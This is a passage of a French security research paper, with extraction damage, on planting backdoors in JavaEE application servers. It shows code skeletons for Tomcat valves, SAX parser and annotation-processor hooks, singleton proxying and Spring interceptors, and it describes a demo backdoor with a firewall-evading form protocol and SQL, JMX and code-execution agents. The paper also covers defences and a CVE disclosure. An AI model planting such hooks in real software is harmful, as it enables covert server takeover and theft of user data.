A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

